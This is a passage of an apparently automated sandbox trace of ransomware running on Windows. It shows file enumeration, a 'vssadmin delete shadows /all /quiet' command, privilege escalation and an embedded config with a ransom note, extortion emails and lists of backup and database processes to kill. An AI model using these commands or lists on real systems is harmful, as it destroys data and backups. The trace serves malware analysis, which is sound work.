ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 1 [0066.776] wcscmp (_String1="CAGCAT10.MML", _String2=".") returned 1 [0066.776] wcscmp (_String1="CAGCAT10.MML", _String2="..") returned 1 [0066.776] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x12e29aa8 [0066.777] wcscpy (in: _Dest=0x12e29aa8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" [0066.777] wcscat (in: _Dest=0x12e29aa8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\" [0066.777] wcscat (in: _Dest=0x12e29aa8, _Source="CAGCAT10.MML" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" [0067.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e29aa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x119c [0067.017] FindNextFileW (in: hFindFile=0x4a6560, lpFindFileData=0x964f990 | out: lpFindFileData=0x964f990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 0 [0067.017] FindClose (in: hFindFile=0x4a6560 | out: hFindFile=0x4a6560) returned 1 [0067.017] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x964f990) returned 1 [0067.018] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45a58) returned 1 [0067.018] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5508) returned 1 Thread: id = 1578 os_tid = 0x19f8 [0066.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) Thread: id = 1579 os_tid = 0x19fc [0066.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav")) Thread: id = 1580 os_tid = 0x1a00 [0066.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf")) Thread: id = 1581 os_tid = 0x1a04 [0066.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf")) Thread: id = 1582 os_tid = 0x1a08 [0066.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090386.wmf")) Thread: id = 1583 os_tid = 0x1a0c [0066.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149407.wmf")) Thread: id = 1584 os_tid = 0x1a10 [0066.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149481.wmf")) Thread: id = 1585 os_tid = 0x1a14 [0066.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf")) Thread: id = 1586 os_tid = 0x1a18 [0066.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf")) Thread: id = 1587 os_tid = 0x1a1c [0066.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf")) Thread: id = 1588 os_tid = 0x1a20 [0066.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf")) Thread: id = 1589 os_tid = 0x1a24 [0066.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf")) Thread: id = 1590 os_tid = 0x1a28 [0066.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf")) Thread: id = 1591 os_tid = 0x1a2c [0066.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf")) Thread: id = 1592 os_tid = 0x1a30 [0066.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf")) Thread: id = 1593 os_tid = 0x1a34 [0066.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf")) Thread: id = 1594 os_tid = 0x1a38 [0066.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf")) Thread: id = 1595 os_tid = 0x1a3c [0066.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf")) Thread: id = 1596 os_tid = 0x1a40 [0066.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf")) Thread: id = 1597 os_tid = 0x1a44 [0066.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf")) Thread: id = 1598 os_tid = 0x1a48 Process: id = "3" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x50959000" os_pid = "0x960" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x944" cmd_line = "C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 6 os_tid = 0x964 Thread: id = 10 os_tid = 0x98c Thread: id = 14 os_tid = 0x9a4 Thread: id = 15 os_tid = 0x9ac Thread: id = 16 os_tid = 0x9b0 Process: id = "4" image_name = "explorer.exe" filename = "c:\\windows\\syswow64\\explorer.exe" page_root = "0x50f5e000" os_pid = "0x968" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x944" cmd_line = "\"C:\\Windows\\system32\\explorer.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 7 os_tid = 0x96c [0033.315] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x254) returned 0x4defe8 [0033.521] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x6) returned 0x4dbf50 [0033.521] RtlInitAnsiString (in: DestinationString=0x27facc, SourceString="NTDLL" | out: DestinationString="NTDLL") [0033.521] RtlAnsiStringToUnicodeString (in: DestinationString=0x27fad4, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0033.521] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xc) returned 0x4d3608 [0033.521] RtlFreeAnsiString (AnsiString="N") [0033.521] RtlInitUnicodeString (in: DestinationString=0x27fad8, SourceString="NTDLL" | out: DestinationString="NTDLL") [0033.521] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x27fae4 | out: BaseAddress=0x27fae4*=0x77130000) returned 0x0 [0033.521] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d3608) returned 1 [0033.522] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4dbf50) returned 1 [0033.522] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x6) returned 0x4dbf50 [0033.522] RtlInitAnsiString (in: DestinationString=0x27facc, SourceString="NTDLL" | out: DestinationString="NTDLL") [0033.522] RtlAnsiStringToUnicodeString (in: DestinationString=0x27fad4, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0033.522] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xc) returned 0x4d35f0 [0033.522] RtlFreeAnsiString (AnsiString="N") [0033.522] RtlInitUnicodeString (in: DestinationString=0x27fad8, SourceString="NTDLL" | out: DestinationString="NTDLL") [0033.522] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x27fae4 | out: BaseAddress=0x27fae4*=0x77130000) returned 0x0 [0033.523] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d35f0) returned 1 [0033.523] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4dbf50) returned 1 [0033.524] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x6) returned 0x4dbf50 [0033.524] RtlInitAnsiString (in: DestinationString=0x27facc, SourceString="NTDLL" | out: DestinationString="NTDLL") [0033.524] RtlAnsiStringToUnicodeString (in: DestinationString=0x27fad4, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0033.524] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xc) returned 0x4d3608 [0033.524] RtlFreeAnsiString (AnsiString="N") [0033.524] RtlInitUnicodeString (in: DestinationString=0x27fad8, SourceString="NTDLL" | out: DestinationString="NTDLL") [0033.524] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x27fae4 | out: BaseAddress=0x27fae4*=0x77130000) returned 0x0 [0033.524] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d3608) returned 1 [0033.525] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4dbf50) returned 1 [0033.534] RtlInitUnicodeString (in: DestinationString=0x27fb44, SourceString="mpr.dll" | out: DestinationString="mpr.dll") [0033.534] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="mpr.dll", BaseAddress=0x27fb50 | out: BaseAddress=0x27fb50*=0x74b00000) returned 0x0 [0033.536] RtlInitUnicodeString (in: DestinationString=0x27fb44, SourceString="netapi32.dll" | out: DestinationString="netapi32.dll") [0033.536] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="netapi32.dll", BaseAddress=0x27fb50 | out: BaseAddress=0x27fb50*=0x74770000) returned 0x0 [0033.541] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x7) returned 0x4dbf50 [0033.541] RtlInitAnsiString (in: DestinationString=0x27facc, SourceString="SRVCLI" | out: DestinationString="SRVCLI") [0033.541] RtlAnsiStringToUnicodeString (in: DestinationString=0x27fad4, SourceString="SRVCLI", AllocateDestinationString=1 | out: DestinationString="SRVCLI") returned 0x0 [0033.541] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xe) returned 0x4d37e8 [0033.541] RtlFreeAnsiString (AnsiString="S") [0033.541] RtlInitUnicodeString (in: DestinationString=0x27fad8, SourceString="SRVCLI" | out: DestinationString="SRVCLI") [0033.541] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="SRVCLI", BaseAddress=0x27fae4 | out: BaseAddress=0x27fae4*=0x74750000) returned 0x0 [0033.541] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d37e8) returned 1 [0033.541] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4dbf50) returned 1 [0033.541] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x9) returned 0x4d37e8 [0033.541] RtlInitAnsiString (in: DestinationString=0x27facc, SourceString="NETUTILS" | out: DestinationString="NETUTILS") [0033.541] RtlAnsiStringToUnicodeString (in: DestinationString=0x27fad4, SourceString="NETUTILS", AllocateDestinationString=1 | out: DestinationString="NETUTILS") returned 0x0 [0033.541] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4de5e0 [0033.541] RtlFreeAnsiString (AnsiString="N") [0033.541] RtlInitUnicodeString (in: DestinationString=0x27fad8, SourceString="NETUTILS" | out: DestinationString="NETUTILS") [0033.542] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NETUTILS", BaseAddress=0x27fae4 | out: BaseAddress=0x27fae4*=0x74af0000) returned 0x0 [0033.542] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4de5e0) returned 1 [0033.542] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d37e8) returned 1 [0033.542] RtlInitUnicodeString (in: DestinationString=0x27fb44, SourceString="psapi.dll" | out: DestinationString="psapi.dll") [0033.542] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="psapi.dll", BaseAddress=0x27fb50 | out: BaseAddress=0x27fb50*=0x75140000) returned 0x0 [0033.543] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x27fb6c | out: lpLuid=0x27fb6c*(LowPart=0x14, HighPart=0)) returned 1 [0034.469] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x27faf4 | out: TokenHandle=0x27faf4*=0x144) returned 0x0 [0034.469] AdjustTokenPrivileges (in: TokenHandle=0x144, DisableAllPrivileges=0, NewState=0x27fb5c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0034.469] GetLastError () returned 0x0 [0034.472] FindResourceA (hModule=0x70000, lpName=0x7a69, lpType=0x539) returned 0x88048 [0034.472] LoadResource (hModule=0x70000, hResInfo=0x88048) returned 0x88058 [0034.472] LockResource (hResData=0x88058) returned 0x88058 [0034.472] SizeofResource (hModule=0x70000, hResInfo=0x88048) returned 0x1492 [0034.472] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1492) returned 0x4e2868 [0034.473] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x5) returned 0x4dbf90 [0034.475] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x100) returned 0x4e1658 [0034.475] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x100) returned 0x4e01b8 [0034.475] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e01b8) returned 1 [0034.475] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e1658) returned 1 [0034.475] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de5e0 [0034.475] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x4) returned 0x4dbfa0 [0034.475] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de740 [0034.476] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x4) returned 0x4dbfb0 [0034.476] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de760 [0034.476] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfb0, Size=0x8) returned 0x4dbfc0 [0034.476] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de780 [0034.476] strtol (in: _Str="0,\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x27fa5c, _Radix=0 | out: _EndPtr=0x27fa5c*=",\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIG